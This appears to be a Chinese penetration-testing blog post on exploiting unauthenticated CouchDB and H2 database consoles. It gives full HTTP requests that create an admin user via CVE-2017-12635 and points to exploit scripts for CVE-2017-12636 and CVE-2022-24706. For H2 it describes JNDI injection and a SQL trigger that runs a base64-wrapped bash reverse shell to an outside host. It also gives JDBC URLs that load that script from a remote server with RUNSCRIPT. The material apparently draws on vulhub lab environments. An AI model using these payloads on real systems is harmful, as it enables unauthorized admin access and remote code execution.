当前位置: 首页 > article >正文

CouchdbH2database未授权

Couchdb未授权

默认端口:5984

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

垂直权限绕过(CVE-2017-12635)

影响版本:<1.7.0 && <2.1.1

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

添加用户数据包,用户名:vulhub 密码:vulhub

若返回403错误{“error”:“forbidden”,“reason”:“Only _admin may set roles”}

那么数据包内添加一个"roles":[]即可绕过

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

在这里插入图片描述
登陆即可

命令执行(cve-2017-12636)

该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

在这里插入图片描述

只需要更改target的url和反弹shell命令

成功接收到shell
在这里插入图片描述

分布式协议代码执行 (CVE-2022-24706)

  • 5984: Apache CouchDB Web管理接口
  • 4369: Erlang端口映射服务(epmd)
  • 9100: 集群节点通信和运行时自省服务(代码执行实际发生在这个端口中)

其中,Web管理接口和epmd服务端口是固定的,而集群通信接口在Vulhub中是9100。实际环境下,这个端口通常是随机的,我们可以通过epmd服务来获取这个端口的数值。

exp下载:vulhub/couchdb/CVE-2022-24706/poc.py at master · vulhub/vulhub

python poc.py target-ip 4369

H2database未授权

默认端口:20051

Java SQL数据库H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的idbc:h2:mem JDBC URL执行任意代码。

在这里插入图片描述

看见这个登录界面就可以尝试未授权利用

JNDI-Injection-Exploit下载:https://github.com/welk1n/JNDI-Injection-Exploit

方法一:

Driver Class:填入 javax.naming.InitialContext

在vps上启动exp

在这里插入图片描述

将粉红的rmi开头的填入界面
在这里插入图片描述

点击Connect后可以看见服务器有反应
在这里插入图片描述

那么就是成功创建文件了

方法二:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

未授权进入
在这里插入图片描述

在这里插入图片描述

方法三:

创建数据库文件 h2database.sql并放在vps上面

CREATE TABLE test (

id INT NOT NULL

);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

http共享sql文件
在这里插入图片描述

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM ‘http://搭建的IP:端口/h2database.sql’;\

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM ‘http://117.72.120.22/h2database.sql’;\

输入到JDBC URL

点击Connect


http://www.kler.cn/a/393960.html

相关文章:

  • 【CVPR2024】2024年CVPR的3D 目标检测的综述(还在补充中)
  • C++模板特化实战:在使用开源库boost::geometry::index::rtree时,用特化来让其支持自己的数据类型
  • Springboot 日志处理(非常详细)
  • MySQL:CRUD
  • 计算机毕业设计必看必学35755flask旅游景区热度可视化平台原创定制程序,java、PHP、python、小程序、文案全套、毕设成品等
  • 红日靶机(七)笔记
  • CSS回顾-长度单位汇总详解
  • 基于大语言模型意图识别和实体提取功能;具体ZK数值例子:加密货币交易验证;
  • Unity学习---IL2CPP打包时可能遇到的问题
  • 视图【MySQL】
  • 深入探究 Linux 系统的快照备份与恢复:TimeShift 实践与原理解析
  • Android 无签名系统 debug 版本APK push到设备引起的开机异常问题分析(zygote进程)
  • 【青牛科技】14W 高保真音频放大电路——D2030
  • 大数据新视界 -- 大数据大厂之 Impala 存储格式转换:从原理到实践,开启大数据性能优化星际之旅(下)(20/30)
  • Linux入门:环境变量与进程地址空间
  • [Linux] Linux信号捕捉
  • PostgreSQL加密连接SSL配置
  • linux安装ansible
  • 微信小程序家政项目小程序
  • sqoop Oracle 导入到hive 日期时间消失
  • unity 玩家和炸弹切线计算方式
  • python 爱心邮件代码
  • 二叉树的遍历(手动)
  • 2025年法定节假日日历
  • 【Docker】Docker Compose部署单节点多容器应用
  • 从零开始的 Hugging Face 项目:我的首个在线 SQL 查询工具之旅20241111